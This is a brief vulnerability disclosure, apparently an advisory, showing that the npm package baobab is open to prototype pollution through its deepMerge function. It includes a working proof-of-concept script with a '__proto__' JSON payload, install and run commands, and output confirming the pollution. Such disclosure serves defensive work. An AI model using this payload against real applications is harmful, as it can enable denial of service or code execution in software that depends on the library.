baobab
is vulnerable to Prototype Pollution
.
// poc.js
const Baobab = require('baobab');
console.log('Before: ' + {}.polluted)
tree = new Baobab()
tree.deepMerge(JSON.parse('{"__proto__": {"polluted": true}}'))
console.log('After: ' + {}.polluted)
npm i baobab # install vulnerable package
node poc.js # run the PoC
Before: undefined
After: true
Prototype Pollution
leads to Information Disclosure/DoS/RCE.